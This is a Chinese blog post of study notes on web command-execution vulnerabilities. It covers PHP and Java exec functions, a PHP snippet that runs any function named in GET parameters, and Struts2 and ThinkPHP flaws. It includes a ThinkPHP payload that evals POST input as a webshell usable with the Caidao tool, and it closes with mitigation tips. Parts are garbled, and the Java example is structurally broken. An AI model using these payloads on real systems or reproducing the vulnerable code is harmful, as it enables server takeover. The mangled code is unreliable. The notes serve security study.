web安全-命令执行漏洞学习笔记
2021-01-07 23:02:16 1336浏览
web安全-命令执行漏洞学习笔记
标题:web安全-命令执行漏洞学习笔记
一、PHP命令执行
命令注入得条件
是否调用系统命令
函数或函数得参数是否可控
是否拼接注入命令
命令连接符
A&B A&&B A|B A||B
AB间无约束关系 A执行成功,然后执行B A得输出作为B得输入 A执行失败,然后执行B
命令执行
PHP提供部分函数用来执行外部应用程序。如system()、shell_exec()、exec()和passthru()。
eval()函数可以把字符串按照PHP代码来执行(动态执行PHP代码)注:输入得字符串必须是合法得PHP代码,且必须以分号结尾。
PHP支持动态函数调用:
<?php当f u n 值 为 p h p i n f o 时 , fun值为phpinfo时,fun值为phpinfo时,fun()对应得函数即为phpinfo();。当用户提交得url为http://www.xxx.com/function.php?fun=system&par=net user时,执行得函数为:system(“net user”)。
function A()
{
return "A()函数..";
}
function B()
{
return "B()函数..";
}
$fun = $_GET['fun'];
$par = $_GET['par'];
$fun($par); //执行函数并使用参数
$fun = $_REQUEST['fun'];
echo $fun(); //动态调用函数
?>
PHP危险函数:preg_replace()、ob_start()、array_map()、unserialize()
二、 Java命令执行
Java SE中存在Runtime类,在该类中提供exec方法用以在单独得进程中执行制定得字符串命令。模型代码:
import java.io.InputStream; //导包操作三、 框架执行
import java.io.InputStreamReader;
import java.io.BufferedReader;
public class RuntimeTest
{
public static void main(String []args)
throws Exception
{
if(args.length==0)
{
System.exit(1); //没有参数就退出
}
}
String command = args[0];
Runtime run = Runtime.getRuntime();
Process pro = run.exec(command);//执行命令
InputStreamReader in = new InputStreamReader(pro.getInputStream());
BufferedReader buff = new BufferedReader(in);
for(String temp = buff.readLine();temp!=null;temp=buff.readLine())
{
System.out.println(temp); //输出结果
}
buff.close();
in.close();
}
MVC架构(Model-View-Controller)将Web应用分为三层:View层负责用户视图、页面展示等工作;Controller负责应用得逻辑实现,接受View层传入得用户请求,并转发给对应得Model做处理;Model层负责实现模型,完成数据得处理。
Struts2代码执行漏洞:Struts2使用XWORK得核心框架,处理action是通过调用底层Java Bean得getter/setter方法来处理http参数,它将每个http参数声明为一个ONGL语句。当提交?user.address.city=bj&user['name']=admin时,ONGL将它转换为:Obj.getUser().GetAddress().setCity="bj";Obj.getUser().setname="admin".这个过程是用ParametersInterceptor拦截器调用ValueStack.setValue()来完成得,并且参数可控。(Unicode字符可绕过XWORK自身得保护机制)
ThinkPHP命令执行漏洞:双引号中得PHP变量语法能够被解析执行,所以造成任意代码执行漏洞,利用方式:
index.php/module/action/paraml/${@print(THINK_VERSION)}四、 防范命令执行漏洞
index.php/module/action/paraml/${@print(eval($_POST[x]))} //菜刀可直接连接
尽量不使用系统执行命令;
在进入执行命令函数/方法之前,变量做好过滤,对敏感字符进行转义;
在使用动态函数之前,确保使用得函数是指定得函数之一;
对PHP来说,不能完全控制得危险函数最好不要使用。
好了,今天的文章就分享到这里,有啥不懂得可以来杰凡IT问答平台上提问,我们程序员在编程中遇到问题实在解决不了的话就来平台悬赏提问吧。平台网址:https://www.jf3q.com
好博客就要一起分享哦!分享海报
此处可发布评论
评论(0)展开评论
暂无评论,快来写一下吧
展开评论